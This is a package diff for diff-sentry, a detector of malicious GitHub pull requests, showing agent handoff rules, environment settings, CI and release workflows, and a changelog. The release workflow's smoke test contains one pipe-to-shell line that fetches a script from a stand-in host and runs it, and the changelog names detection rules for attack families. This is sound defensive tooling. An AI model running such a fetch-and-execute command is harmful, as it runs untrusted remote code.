diff-sentry 0.4.0__tar.gz

diff_sentry-0.4.0/.claude/rules/handoff.md

@@ -0,0 +1,56 @@
+# Context preservation (read before auto-compacting)
+
+diff-sentry routes durable knowledge into its tracked docs — keep using them, and when the conversation
+is about to compact, preserve only what they do NOT already hold:
+
+- **Stable invariants** → the **Hard invariants** section of `CLAUDE.md`.
+- **Resolved decisions / shipped changes** → the commit message (grow a `CHANGELOG.md` at the first
+  version bump, like the siblings).
+- **Open / proposed work** → the issue tracker, or the `README.md` **Status** section.
+
+So a handoff summary should carry the *in-flight session state* those files miss. Prioritize, in order:
+
+1. **Decisions we agreed on this session** not yet in CLAUDE.md / a commit — design choices and the
+   *reason* (e.g. "judgement-only SUBMIT + union-on-read so a benign self-report can't suppress
+   evidence", "the fetch allowlist is GitHub-only because the input is attacker-authored", "workflow
+   edits are `medium` so a benign workflow PR doesn't force a signal"). Promote durable ones into
+   CLAUDE.md (invariant) before they fade.
+2. **Files / symbols changed**, as `path:symbol` one-liners on the *final* shape — e.g.
+   `assemble.py:assemble_verdict — signal = verdict∈emit_on OR severity≥floor`,
+   `indicators.py:make_indicator_tool — registers as scan_indicators (dspy __name__)`.
+   Drop diffs and intermediate revisions.
+3. **Current status.** What passes the suite (and the count), what's broken, last command + result.
+   One paragraph. (Suite: `uv run pytest` from the repo root, plus `uvx ruff check .`.)
+4. **Open suggestions / TODOs** not yet tracked — mark each `proposed`, `accepted-not-done`, or
+   `rejected`; move durable ones to the issue tracker.
+5. **The seams' status.** (a) `classify_backend` — still `"self"` (a general model) or a dedicated
+   second-stage backend in progress; (b) the cheap host-side pre-filter tier + live GitHub/SIEM wiring
+   (the README's "next increments"); (c) the rlm-harness dep — still the editable `../rlm-harness` path or
+   switched to an exact PyPI pin. A resumed session must not re-open a seam that moved.
+6. **In-flight user intent + acceptance criteria** for this session. Without it a resumed session drifts.
+
+**Do NOT preserve** (reconstructable / already durable):
+
+- Anything already in `CLAUDE.md`, `README.md`, `.env.example`, or `pyproject.toml`.
+- Tool-call transcripts, `grep` output, file listings, full file contents readable from disk.
+- Step-by-step exploration narration; speculative reasoning that led to no decision.
+
+**Format for a handoff summary** (use when compaction is imminent or the user asks for a recap):
+
+```
+## Session state
+- Goal: <one sentence>
+- Status: <what passes the suite, what doesn't, last command + result>
+- Seams: <classify backend | pre-filter/live wiring | rlm-harness dep — one line each if touched>
+
+## Decisions
+- <decision> — <why>   (→ promote to CLAUDE.md invariant / the commit message)
+
+## Changed
+- <path:symbol> — <what & why>
+
+## Open
+- [proposed|accepted-not-done|rejected] <item>   (→ issue tracker if durable)
+```
+
+Keep it under ~40 lines. If something fits one of the tracked docs, put it THERE instead of the summary.

diff_sentry-0.4.0/.env.example

@@ -0,0 +1,50 @@
+# diff-sentry — model ROLES + runtime knobs (copy to .env; a live run needs these + a Deno sandbox).
+
+# --- Model roles (required for a live `pr`/`issue`/`classify` run) ---
+# planner: a cheap, INJECTION-RESISTANT orchestrator that holds the diff in the REPL and triages.
+DS_ROOT_LM=your-planner-model
+# analyst: an expensive brain reached via llm_query for a subtle source->sink (short questions only).
+DS_SUB_LM=your-analyst-model
+# One OpenAI-compatible proxy serves all roles. When DS_BASE_URL is set the model names are the plain
+# ids your endpoint serves (e.g. qwen/qwen3-next), not litellm-prefixed.
+DS_BASE_URL=https://your-openai-compatible-endpoint/v1
+DS_API_KEY=sk-...
+
+# --- OR: run planner + analyst on a Claude Pro/Max SUBSCRIPTION (no API key) ---
+# Give a role the `claude-agent-sdk/<id>` prefix and it runs on your personal Claude subscription via
+# the official Claude Agent SDK (rlm-harness's `rlm_harness.ClaudeAgentLM`, the `[subscription]` extra) — each call a pure
+# completion (no tools, no filesystem, no settings leakage). Prerequisites: `uv sync --extra
+# subscription`; the Claude Code CLI installed and logged in (`claude` → /login, or `claude
+# setup-token` → export CLAUDE_CODE_OAUTH_TOKEN); and you MUST `unset ANTHROPIC_API_KEY` — the CLI
+# silently prefers it and would bill API credit (the adapter refuses to start while it is set). Prefer
+# full model ids over aliases (which drift over time).
+#   DS_ROOT_LM=claude-agent-sdk/claude-sonnet-5     # planner on Sonnet 5
+#   DS_SUB_LM=claude-agent-sdk/claude-fable-5       # analyst on Fable 5
+# DS_BASE_URL/DS_API_KEY are then unused BY THESE TWO ROLES, but the CLASSIFIER still needs its own
+# OpenAI-compatible endpoint — a subscription-only end-to-end run is NOT supported. You MUST set
+# DS_CLASSIFIER_LM to a real model id (and DS_CLASSIFIER_BASE_URL/DS_CLASSIFIER_API_KEY if it's a
+# separate box); leaving it UNSET makes the classifier inherit the `claude-agent-sdk/…` DS_SUB_LM and
+# from_env fails LOUD (the classifier uses an OpenAI client, not the Agent SDK). Budgets use the SAME
+# env vars as proxy mode. Expect ~2-5s CLI-spawn overhead per call, so keep runs interactive (not batch).
+# DS_PLANNER_MAX_TOKENS is inert on this path — the Agent SDK exposes no token/sampling controls.
+
+# --- Second-stage classifier (the swappable seam; defaults to the analyst model on the same proxy —
+#     unless the analyst rides the subscription, in which case DS_CLASSIFIER_LM is REQUIRED, see above) ---
+# DS_CLASSIFIER_LM=your-strong-classifier
+# DS_CLASSIFIER_CIRCUIT_BREAK=4
+
+# --- RLM runtime ---
+# DS_INTERPRETER=pyodide       # read-not-execute: the classifier NEVER runs the change. `deno` is an alias.
+# DS_MAX_ITERATIONS=25
+# DS_MAX_LLM_CALLS=8           # caps ONLY analyst (llm_query) escalations
+# DS_ADAPTER=json              # portable structured output (OpenAI + vLLM/NIM)
+# DS_PLANNER_MAX_TOKENS=16384  # generous, so a reasoning planner isn't truncated to empty content
+
+# --- Enrichment fetch (OFF by default — an exfil surface on attacker-authored input; GitHub-allowlisted) ---
+# DS_ENABLE_FETCH=false
+# DS_FETCH_ALLOW_CIDRS=198.18.0.0/16   # only if behind a fake-IP proxy / split-DNS VPN
+
+# --- Host-side SIEM emitter (opt-in; deterministic POST after the run) ---
+# DS_SIEM_WEBHOOK_URL=https://your-siem/intake
+# DS_SIEM_TOKEN=...
+# DS_EMIT_ON=suspicious,malicious

diff_sentry-0.4.0/.github/workflows/ci.yml

@@ -0,0 +1,120 @@
+name: CI
+
+# Offline suite only: no live LLM, no network calls in tests, no Deno sandbox — dspy-bearing paths use
+# DummyLM / rlm-harness's ScriptedInterpreter, transports are injected fakes, and the corpus pins the
+# indicator suite's hit/miss behavior (see CLAUDE.md "Verify"). `uv sync` pulls rlm-harness from GitHub
+# (uv.lock pins the exact commit).
+on:
+  push:
+    branches: [main]
+  pull_request:
+
+# Least privilege: this workflow only checks out code and runs tests/lint — it never writes. Specifying
+# `permissions:` also drops every unlisted scope to `none`, so a compromised dep/action on an untrusted
+# fork PR can't use the token to push, tag, or open issues.
+permissions:
+  contents: read
+
+concurrency:
+  group: ci-${{ github.ref }}
+  cancel-in-progress: true
+
+jobs:
+  test:
+    name: test (py${{ matrix.python-version }})
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      # 3.11 is the requires-python floor; 3.13 is what .python-version / local dev actually runs.
+      matrix:
+        python-version: ["3.11", "3.13"]
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Install uv
+        # Third-party action pinned to a commit SHA for supply-chain integrity (a moving major tag
+        # could be repointed at malicious code that runs with this workflow's token). GitHub-owned
+        # actions (checkout) stay on a major tag. Bump the SHA and the trailing version comment together.
+        uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5.4.2
+        with:
+          enable-cache: true
+
+      # --all-packages brings in the studio workspace member, --all-extras every optional surface
+      # (classify/observe/subscription + the studio dev extra) so both suites resolve in one env.
+      - name: Sync (core + studio workspace)
+        run: uv sync --all-extras --all-packages --python ${{ matrix.python-version }}
+
+      - name: Core tests (pipeline + wiring)
+        run: uv run --python ${{ matrix.python-version }} python -m pytest
+
+      - name: Studio console tests
+        run: uv run --python ${{ matrix.python-version }} python -m pytest studio/tests
+
+      # The eval workspace member (diff-sentry-eval) — its OWN offline suite: the reward-free ATLAS
+      # scorecard, stub judge, synthetic traces, no creds. `--all-packages` above already installed it.
+      - name: Eval scorecard tests
+        run: uv run --package diff-sentry-eval --python ${{ matrix.python-version }} python -m pytest eval/tests
+
+      # The studio frontend's pure/factory cores (run-core, replay-core, trajectory) carry assert-based
+      # node tests; the ubuntu runner ships node, so gate them here too.
+      - name: Frontend core unit tests (node)
+        run: |
+          for f in studio/tests/*.test.js; do echo "▸ $f"; node "$f"; done
+
+  # Dogfood: this repo's own CI runs the ACTION this repo publishes (`uses: ./`), not a copy of it.
+  # So every PR here is also an integration test of the thing users install — a drifted action.yml
+  # fails our own build before it reaches anyone's Marketplace install.
+  #
+  # DELIBERATELY the deterministic scan and not the full `classify` pipeline. `classify` needs DS_*
+  # model creds, and the only mechanism that hands creds to a fork PR's run is `pull_request_target`,
+  # precisely the misconfiguration that opened the AsyncAPI "Miasma" compromise. The scan needs no
+  # creds, no network and no Deno, so it runs under this workflow's read-only `contents: read` token.
+  # NO fork guard here, also deliberately: the job is read-only with no side effects outside its own
+  # repo, so a fork running it is correct and useful.
+  self-scan:
+    name: self-scan (dogfood)
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0        # the action needs the base commit to diff against
+
+      - uses: ./
+        with:
+          # Scan this PR with the rules IN this PR, not the ones already on main. Without it the
+          # dogfood would grade a rule change against the previous rule set and always pass.
+          version: local
+          # This is a DETECTOR repo, so some files carry attack patterns as their JOB: the rule bodies,
+          # the planner prompt, the attack skills, the fixtures, the eval taskset, and the docs that
+          # tabulate all of the above. Scanning those against our own rules is a guaranteed self-hit
+          # (the pipe-to-shell example inside detect.INSTRUCTIONS and the field-separator token quoted
+          # in README's rule table both fire), so they are reported without gating while the machinery
+          # and the build/CI/dependency surface stay enforced. Note this file is in the GATED half:
+          # describe a payload shape here, never quote one.
+          report-only-paths: |
+            diff_sentry/indicators.py
+            diff_sentry/detect.py
+            diff_sentry/skills/**
+            tests/**
+            eval/tests/**
+            studio/tests/**
+            eval/taskset.example.json
+            eval/diff_sentry_eval/taskset.py
+            *.md
+
+  lint:
+    name: ruff
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - name: Install uv
+        uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5.4.2
+        with:
+          enable-cache: true
+      - name: Lint
+        # PINNED on purpose. `uvx ruff` resolves the latest release at run time, and ruff's DEFAULT
+        # rule set is not a stable contract — 0.16 expanded it far past the pycodestyle/pyflakes
+        # baseline, which would have turned this job red on the next push with no code change. Bump
+        # it deliberately, with the resulting fixes in the same commit, rather than letting a
+        # release do it for you.
+        run: uvx ruff@0.16.0 check .

diff_sentry-0.4.0/.github/workflows/release.yml

@@ -0,0 +1,98 @@
+name: Release
+
+# Publish to PyPI via Trusted Publishing (OIDC) — NO API token. INERT until a GitHub Release is
+# published, and needs one-time setup before the first release:
+#   1. On PyPI, add a Trusted Publisher for project `diff-sentry`:
+#        owner = qazbnm456, repo = diff-sentry, workflow = release.yml, environment = pypi
+#   2. In this repo's settings, create an environment named `pypi`.
+#
+# A release here is DUAL-PURPOSE. The same "Draft a release" flow that triggers this workflow is also
+# where "Publish this Action to the GitHub Marketplace" is ticked, and the tag it creates is what
+# consumers pin in `uses: qazbnm456/diff-sentry@vX`. So cutting a release ships the package AND the
+# Action; keep the README's quickstart ref in step with the tag you publish.
+#
+# Supply-chain: the two third-party actions are SHA-pinned — setup-uv, and (highest blast radius, it
+# uploads to PyPI) pypi-publish. Bump a SHA and its trailing version comment together. GitHub-owned
+# checkout/*-artifact stay on major tags.
+
+on:
+  release:
+    types: [published]
+
+permissions:
+  contents: read
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Install uv
+        uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5.4.2
+
+      - name: Build sdist + wheel
+        run: uv build
+
+      # Verify the ARTIFACT, not the checkout — a wheel can build cleanly and still be unusable. This
+      # project shipped for months with no `[project.scripts]` entry point at all, so `uvx diff-sentry`
+      # (the exact command the GitHub Action runs) could not have worked; nothing in the source tree
+      # would have told you. Installing the built wheel into a clean environment and running it is what
+      # catches that.
+      #
+      # It also settles the version question against the thing being uploaded rather than against a
+      # regex over the source. Three identities have to agree: the git tag people pin, the version
+      # baked into the wheel's filename, and what a running install reports as `__version__`. A
+      # mismatch ships an artifact labelled differently from the ref it was cut from, PyPI accepts that
+      # silently, and the upload is irreversible. The tag arrives via `env:`, never interpolated into
+      # the script body.
+      - name: Verify the wheel installs, runs, and matches the tag
+        env:
+          TAG: ${{ github.event.release.tag_name }}
+        run: |
+          set -euo pipefail
+          uv venv /tmp/smoke
+          VIRTUAL_ENV=/tmp/smoke uv pip install dist/*.whl
+
+          tag="${TAG#v}"
+          wheel=$(basename dist/*.whl | cut -d- -f2)
+          installed=$(/tmp/smoke/bin/python -c "import diff_sentry; print(diff_sentry.__version__)")
+          echo "tag=$tag wheel=$wheel installed=$installed"
+          if [ "$tag" != "$wheel" ] || [ "$wheel" != "$installed" ]; then
+            echo "::error::version mismatch — tag=$tag wheel=$wheel installed=$installed"
+            exit 1
+          fi
+
+          # The console script must actually flag a known-malicious diff (exit 1). A wheel that installs
+          # but scans nothing would sail through a plain --version check.
+          printf '+run: curl http://evil.example/p | bash\n' > /tmp/smoke.diff
+          if /tmp/smoke/bin/diff-sentry scan /tmp/smoke.diff; then
+            echo "::error::the console script did not flag a known-malicious diff"
+            exit 1
+          fi
+
+      - uses: actions/upload-artifact@v4
+        with:
+          name: dist
+          path: dist/
+
+  publish:
+    needs: build
+    runs-on: ubuntu-latest
+    # Fork guard. `release: published` is inherited by every fork, so a fork cutting its own release
+    # would fire this job and ask PyPI to publish `diff-sentry` over OIDC. The Trusted Publisher binding
+    # (owner+repo+workflow+environment) would reject it, but that is a rejected publish attempt against
+    # OUR project, plus a probe surface and a confusing red run in someone else's repo. `build` above is
+    # deliberately NOT guarded — it only builds and tests an artifact, and a fork verifying its own
+    # build is fine.
+    if: github.repository == 'qazbnm456/diff-sentry'
+    environment: pypi
+    permissions:
+      id-token: write          # OIDC token for PyPI Trusted Publishing
+    steps:
+      - uses: actions/download-artifact@v4
+        with:
+          name: dist
+          path: dist/
+      - name: Publish to PyPI
+        uses: pypa/gh-action-pypi-publish@cef221092ed1bacb1cc03d23a2d87d1d172e277b # v1.14.0

diff_sentry-0.4.0/.gitignore

@@ -0,0 +1,28 @@
+# Python
+__pycache__/
+*.py[cod]
+*.egg-info/
+.pytest_cache/
+.ruff_cache/
+
+# uv / virtualenv
+.venv/
+
+# Run artifacts (traces / responses / datasets the CLI writes)
+output/
+/traces/
+/responses/
+*.jsonl
+
+# Secrets / local env (only .env.example is tracked)
+.env
+
+# macOS
+.DS_Store
+
+# Claude Code local overrides (never commit)
+.claude/settings.local.json
+
+# Build artifacts. `uv build` is now a normal local step (release.yml runs it), so an
+# accidental `git add .` must not sweep a wheel into the repo.
+dist/

diff_sentry-0.4.0/.python-version

@@ -0,0 +1 @@
+3.13

diff_sentry-0.4.0/CHANGELOG.md

@@ -0,0 +1,162 @@
+# Changelog
+
+All notable changes to diff-sentry. This project classifies ONE GitHub change (PR/issue/push) for
+malicious intent — the diff held as **untrusted data** in a sandboxed REPL, a judgement-only verdict,
+and deterministic indicator evidence unioned on read into a SIEM signal — as a traced, improvable RLM
+framework on [`rlm-harness`](https://github.com/qazbnm456/rlm-harness) (a BewAIre-style detector).
+
+## 0.4.0
+
+The first release, and a repositioning: the front door is now a GitHub Action anyone installs in fifteen
+lines, with the trajectory/studio/fine-tuning half kept as the second goal for people who run the
+infrastructure themselves.
+
+### Added
+- **Ships as a GitHub Action** (`action.yml`, a composite action at the repo root, which is what
+  Marketplace requires). Inputs `fail-on` / `report-only-paths` / `base-sha` / `version`; outputs
+  `failed` / `hit-count` / `max-severity` / `report`. It runs the DETERMINISTIC scan, never the model
+  pipeline, and that is the load-bearing choice: `classify` needs `DS_*` creds, and the only mechanism
+  that puts creds into a fork PR's run is `pull_request_target` — the exact misconfiguration that opened
+  the AsyncAPI "Miasma" compromise and that this action reports as `critical`. The scan needs no creds,
+  no network and no Deno, so it runs under the read-only token a fork PR already gets. `report-only-paths`
+  is an input rather than a fixed list because the paths that legitimately carry attack patterns differ
+  per repo. The README documents the safe way to comment back on a fork PR (artifact plus a `workflow_run`
+  job that never checks out the PR head), because shipping a detector whose own docs recommend the hole it
+  detects would distribute that hole at scale.
+- **`scan` subcommand** (`cli._cmd_scan`) — the deterministic half standalone, with no model, network,
+  creds or Deno. `--fail-on` defaults to `SIGNAL_SEVERITY_FLOOR`, so the CI gate honours the same tuning a
+  SIEM signal derives from and a plain workflow edit (`medium`, on purpose) does not fail a build.
+  `--json` for machine consumption, `--include-deletions` to audit what a change removed.
+- **A `diff-sentry` console entry point** (`[project.scripts]`). There was none, so `uvx diff-sentry` —
+  the exact command the Action runs — could not have worked at all.
+- **Ten indicator rules covering the Miasma families.** Reconstructing that chain stage by stage found
+  seven of its eight stages passing the suite silently, because the rules were shell- and YAML-shaped
+  while the attack was Node end to end. Added: `pwn-request` (critical) and `privileged-fork-trigger`
+  (medium) for workflow CONFIGURATION as distinct from `workflow-tamper`'s "was a workflow touched";
+  `diff-viewport-evasion` and `invisible-unicode` for payloads aimed at the human reading the diff;
+  `detached-process-spawn`, `inline-code-exec` and `remote-fetch-to-disk` for Node execution primitives;
+  `obfuscated-identifiers` for `_0x…` mangling that base64 detection cannot see; `dynamic-code-eval` and
+  `content-addressed-host` (IPFS/permaweb) as sub-floor corroborators. The tuning is the load-bearing
+  part: rules that would be noisy alone require two halves to fire, and every rule ships with its negative
+  case. Corpus grows by nine entries (six malicious families, three benigns pinning the sub-floor tiers).
+- **`self-scan` CI job** — this repo runs the Action it publishes (`uses: ./`, `version: local`), so every
+  PR is an integration test of what users install, scanned by the rules in that PR rather than the ones
+  already on main. It caught a real defect on its first run.
+- **`release.yml`** — PyPI publish over OIDC Trusted Publishing, no API token, with a fork guard on the
+  publish job. It verifies the ARTIFACT rather than the checkout: the built wheel is installed into a
+  clean environment, the console script must actually flag a known-malicious diff, and the tag, the wheel
+  filename and the installed `__version__` must all agree before an irreversible upload.
+
+### Changed
+- **`rlm-kit` → `rlm-harness`, pinned to `==1.0.0` from PyPI.** The `[tool.uv.sources]` git pointer is
+  gone, so nothing in the dependency closure resolves outside PyPI any more — which is what made
+  publishing this package possible at all. Imports move to `rlm_harness`.
+- **The rubric adopts the harness's own primitives** (`rlm_harness.rubric`), with `schema` re-exporting
+  `Criterion` / `CriterionFact` / `RubricCriteria` for back-compat.
+- **README and package description lead with the Action**, and the local pipeline, studio console,
+  trajectory export and fine-tuning path are framed as the second goal rather than the premise.
+- **`uv sync` default-installs the `subscription-sdk` dev group**, so a bare sync stops pruning the Claude
+  Agent SDK out of the shared dev venv.
+- **ruff pinned to `0.16.0`** in CI. `uvx ruff` resolves the latest release at run time and ruff's default
+  rule set is not a stable contract, so an unpinned lint job goes red overnight with no code change.
+
+### Fixed
+- **`scan` no longer flags what a diff deletes.** A unified diff carries removed code as well as added
+  code, and the detectors read plain text, so scanning a raw diff flagged a change for the payload it was
+  DELETING — the worst failure mode a security gate can have, since it turns every remediation commit red.
+  `-` lines are dropped by default; `---` file headers survive and non-diff input is untouched.
+- **The CI self-scan no longer fails on its own explanatory comment.** The comment describing "our files
+  carry attack patterns as their job" quoted two payload shapes verbatim, and `.github/` is in the gated
+  half, so the commit that introduced the gate failed it. Confirmed as a real red CI run, not a
+  hypothetical.
+
+## 0.3.0
+
+### Added
+- **An ungroundable input yields a principled `inconclusive`, never a confident verdict.** A content-free
+  / unfetchable / not-actually-a-change input (an empty `{}` payload normalizes to `(no textual content)`)
+  used to still ship a confident `benign, confidence 0.9`. Now `inconclusive` is a SANCTIONED SUBMIT
+  outcome — a 4th `verdict` value (`schema.INCONCLUSIVE_VERDICT`, `SUBMIT_VERDICTS`): the classifier
+  prompt sanctions it explicitly (only for a change with no assessable content — NOT an escape hatch for a
+  hard-but-real change), and the second-stage `deep_classify` enum validator accepts it. `response` maps
+  it to `status="inconclusive"` + `RefusalInfo(reason="insufficient_evidence")` (the pre-existing
+  inconclusive envelope, previously unreachable). A host-side deterministic BACKSTOP
+  (`normalize.has_groundable_content` over the run's normalized `event`) DOWNGRADES even a confident
+  verdict to inconclusive when there is no groundable content — defense-in-depth, read-time. It rides the
+  reward-free trajectory as an `inconclusive` OUTCOME label (`rl_export.run_labels`, mirroring the
+  clean-negative idea) — a FACT, never a score/reward. The DETERMINISTIC SIEM half is untouched:
+  `inconclusive` is not in `emit_on`, so a real high/critical indicator still forces a signal on its own.
+- **Studio: an unrecognized `tool_call` renders its short scalar fields instead of an empty step, and the
+  future harness swap keeps its child-rollout link.** The drawer mapper (`iterations._tool_entry`), the
+  SSE mapper (`mapper.to_event` — which previously DROPPED an unknown tool from the live feed, now emits a
+  generic `detection.tool` event), and the frontend fallback (`trajectory.js` detail + a generic
+  icon/`fam-tool` family) all surface an unknown tool's short scalar payload fields (tool, ok, and any
+  short string/number fields; bulky raw/preview/spec/hits dropped) as kv rows — never a bare "no detail
+  recorded" when fields exist. And `deep_classify.record_tool_call` now attaches `child_run_id` /
+  `child_trace` / `child_meta` when the second-stage result carries them (guarded — a NO-OP for today's
+  `self` backend, correct for the documented future `make_harness_tool` swap so the parent→child rollout
+  link survives the recording step).
+
+## 0.2.1
+
+### Fixed
+- **The studio launches on a subscription with the SAME command as every rlm-harness sibling.** The studio
+  member (`diff-sentry-studio`) was missing a forwarding `subscription` extra, so
+  `uv run --package diff-sentry-studio --extra live --extra subscription uvicorn …` was rejected — a
+  studio-scoped `uv` command resolves extras against the MEMBER, not the root, and the Claude Agent SDK
+  extra lived only on the root. Added `subscription = ["diff-sentry[subscription]"]` to
+  `studio/pyproject.toml` (mirroring the sibling harnesses) + a "Subscription mode" section to the studio
+  README. Closes a cross-downstream drift (same gap fixed in the siblings); the paired-extras convention
+  is documented in rlm-harness's "Building a consumer" guide.
+- **`/v1/config` never surfaces a subscription analyst as the classifier (a config a run couldn't use).**
+  The classifier falls back to the analyst (`DS_CLASSIFIER_LM or DS_SUB_LM`), but the classifier is a
+  `make_model_tool` endpoint and `from_env` REJECTS a subscription classifier — so with `DS_CLASSIFIER_LM`
+  unset and `DS_SUB_LM` a `claude-agent-sdk/…` sentinel, the panel showed a classifier model no run could
+  use. Guard it (`_role_or_none`): fall back to the analyst only when it's a real (non-subscription)
+  model, else `None`; the analyst role itself still shows through. Same class swept from the sibling
+  studios. Studio test added.
+
+## 0.2.0
+
+### Added
+- **Run the planner + analyst on a Claude Pro/Max SUBSCRIPTION** (no API key). Give `DS_ROOT_LM` /
+  `DS_SUB_LM` a `claude-agent-sdk/<model>` value and that role runs on your personal Claude login
+  through rlm-harness's `rlm_harness.ClaudeAgentLM` (a `dspy.BaseLM` over `claude-agent-sdk`), injected via
+  rlm-harness's `configure(main_lm=, sub_lm=)` seam. Each call is a pure completion — no tools, no
+  filesystem, no settings leakage — so the sandbox stays the only place code runs. Opt-in extra:
+  `uv sync --extra subscription` (installs the Claude Agent SDK the adapter needs); requires the Claude
+  Code CLI logged in and `ANTHROPIC_API_KEY` unset (the adapter refuses to start otherwise). The adapter
+  ships in the rlm-harness wheel behind its own `[subscription]` extra (promoted out of `examples/` —
+  diff-sentry no longer vendors it). Imported lazily via `from rlm_harness import ClaudeAgentLM` (only in
+  `detect.setup()`'s sentinel branch) so `import diff_sentry` stays dspy-free and a proxy-only install
+  never pulls the extra. A sentinel-configured run in an env that never installed the extra fails LOUD
+  with an actionable error naming `uv sync --extra subscription` (`uv lock` records the extra; only sync
+  installs it).
+- **Studio: a page-height three-view stage.** The middle column is ONE verdict-alloy card filling a
+  viewport-height grid — all three columns are independent scroll tracks (feed / card / modules; the
+  page itself never scrolls, the family pattern), a sticky head keeps the view switch reachable, and
+  long attacker-influenced tokens wrap instead of being clipped by the module frame — with a top-right
+  **Verdict / Indicators / Change** switch in triage order — Indicators always reachable, refusal
+  included. Run telemetry leads the right column (the sibling-console convention); the header's
+  `backend:self` chip is gone (API-only metadata now). The Change view is **trace-backed** for pr/issue
+  and replayed runs (their diff never reaches the client): it lazily reads the run's own `run_start`
+  event via `GET /v1/runs/{id}/iterations` — the exact normalized untrusted content the planner saw —
+  through a pure, unit-tested view-state core (`run-core.js:planChangeView`) that can never wedge on
+  loading and never reports a transient fetch error as a gone trace. A `[hidden]`-attribute CSS guard
+  (with a static contract test) fixes the mode panes and the Trajectory handle rendering while hidden.
+- **The classifier ALWAYS stays on its own OpenAI-compatible endpoint**, never the subscription (mixed
+  auth by design). `config.from_env` now REJECTS a `claude-agent-sdk/…` classifier model — set either
+  explicitly (`DS_CLASSIFIER_LM`) or inherited from a subscription `DS_SUB_LM` when `DS_CLASSIFIER_LM`
+  is unset — with an actionable error: `deep_classify` uses an OpenAI client (not the Agent SDK), the
+  tool is ALWAYS registered, and a latent bogus-model-id failure mid-trajectory would burn the one
+  hard-budget attempt (`max_retries=1`). A subscription-only end-to-end run is therefore not supported.
+
+## 0.1.0
+
+The initial consumer: classify → judgement-only verdict (`ChangeVerdict`, no hits field) →
+deterministic-evidence union on read (`assemble_verdict`, MF3) → response → host-side SIEM signal →
+reward-free trajectory export, fully offline-testable (DummyLM / ScriptedInterpreter / injected fakes;
+the detection-quality corpus pins the indicator suite's hit/miss behavior). Includes the metadata
+sandwich (MF1), the GitHub-allowlisted opt-in enrichment fetch (MF2), the in-loop-safe pure-Python
+indicator suite, the `deep_classify` second-stage seam, progressive-disclosure attack skills, the
+offline hackerbot-claw incident reproduction, and the in-repo studio console (a uv workspace member).